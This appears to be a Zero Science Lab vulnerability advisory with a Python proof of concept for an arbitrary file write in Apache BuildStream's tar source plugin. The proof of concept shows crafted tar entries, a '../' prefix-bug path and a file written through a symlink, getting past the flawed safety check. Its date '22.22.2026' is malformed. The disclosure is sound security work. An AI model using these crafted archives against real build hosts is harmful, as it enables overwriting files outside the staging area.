Apache BuildStream 2.8.0 (symlink) Arbitrary File Write

[zeroscience]

#!/usr/bin/env python
#
#
# Apache BuildStream 2.8.0 (symlink) Arbitrary File Write
#
#
# Vendor: The Apache Software Foundation
# Product web page: https://buildstream.apache.org
# Affected version: <=2.8.0
#
# Summary: BuildStream is a powerful software integration tool
# that allows developers to automate the integration of software
# components including operating systems, and to streamline the
# software development and production process.
#
# Desc: Apache BuildStream's tar source plugin extracts archives
# without safely resolving symbolic links (link following). A
# malicious source tarball can include a symlink entry that points
# outside the staging directory and then a file entry that writes
# through it, so a crafted upstream source can create or overwrite
# files on the host with the privileges of the user running BuildStream,
# as part of source fetching. On Python < 3.12 the plugin relied
# on an incomplete internal check (_assert_safe, which skipped
# symlink members and used a buggy basename/prefix comparison) as
# the only guard. The fix replaces that check with a custom extraction
# filter built on the Python tarfile data and tar filters, applied
# on all Python versions (using a local copy of tarfile.py on Python
# < 3.12).
#
# Tested on: Linux, Python 3.10
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# Macedonian Information Security Research & Development Laboratory
# Zero Science Lab - https://www.zeroscience.mk - @zeroscience
#
#
# Advisory ID: ZSL-2026-6005
# Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-6005
#
#
# 22.22.2026
#

import io######
import os######
import sys#####
import tarfile#
import tempfile

class Kukla:
    def __str__(self): return "tar-source"

def _assert_safe(self, member, target_dir):
    final_path = os.path.abspath(os.path.join(target_dir, member.path))
    if not final_path.startswith(target_dir):
        raise Exception("attempts to extract outside staging area: {} -> {}".format(member.path, final_path))
    if member.islnk():
        linked_path = os.path.abspath(os.path.join(target_dir, member.linkname))
        if not linked_path.startswith(target_dir):
            raise Exception("hardlink outside staging area")

base = tempfile.mkdtemp(prefix="bst_poc_")
staging = os.path.join(base, "staging")
os.makedirs(staging)
sibling_secret = os.path.join(base, "staging_evil")
os.makedirs(sibling_secret)
print("target_dir (staging):", staging)
print("sibling out-of-bounds:", sibling_secret)
print("py<3.12 (no builtin filter path):", sys.version_info < (3, 12))
print()

ti = tarfile.TarInfo(name="../staging_evil/pwned")
data = b"OWNED-VIA-PREFIX-BUG"
ti.size = len(data)
passed = True
try:
    _assert_safe(Kukla(), ti, staging)
except Exception as e:
    passed = False
    print("(A) _assert_safe REJECTED:", e)
if passed:
    final = os.path.abspath(os.path.join(staging, ti.path))
    print(f"(A) _assert_safe ALLOWED  member '../staging_evil/pwned'  -> {final}")
    print(f"    escapes staging? {not final.startswith(staging + os.sep)}  (writes into sibling dir)")

print()
sym = tarfile.TarInfo(name="evil")
sym.type = tarfile.SYMTYPE
sym.linkname = os.path.abspath(os.path.join(base, "OUTSIDE"))
f = tarfile.TarInfo(name="evil/pwned")
f.size = 5
for m in (sym, f):
    try:
        _assert_safe(Kukla(), m, staging)
        kind = "symlink->" + (m.linkname if m.issym() else "")
        print(f"(B) _assert_safe ALLOWED  {m.name!r} ({'symlink' if m.issym() else 'file'}{' -> '+m.linkname if m.issym() else ''})")
    except Exception as e:
        print(f"(B) _assert_safe REJECTED {m.name!r}: {e}")
print("    => on POSIX, extractall writes 'evil/pwned' THROUGH the symlink to",
      os.path.abspath(os.path.join(base, "OUTSIDE", "pwned")))

ZSL-2026-6005: Apache BuildStream 2.8.0 (symlink) Arbitrary File Write

ZSL-2026-6005: Apache BuildStream 2.8.0 (symlink) Arbitrary File Write

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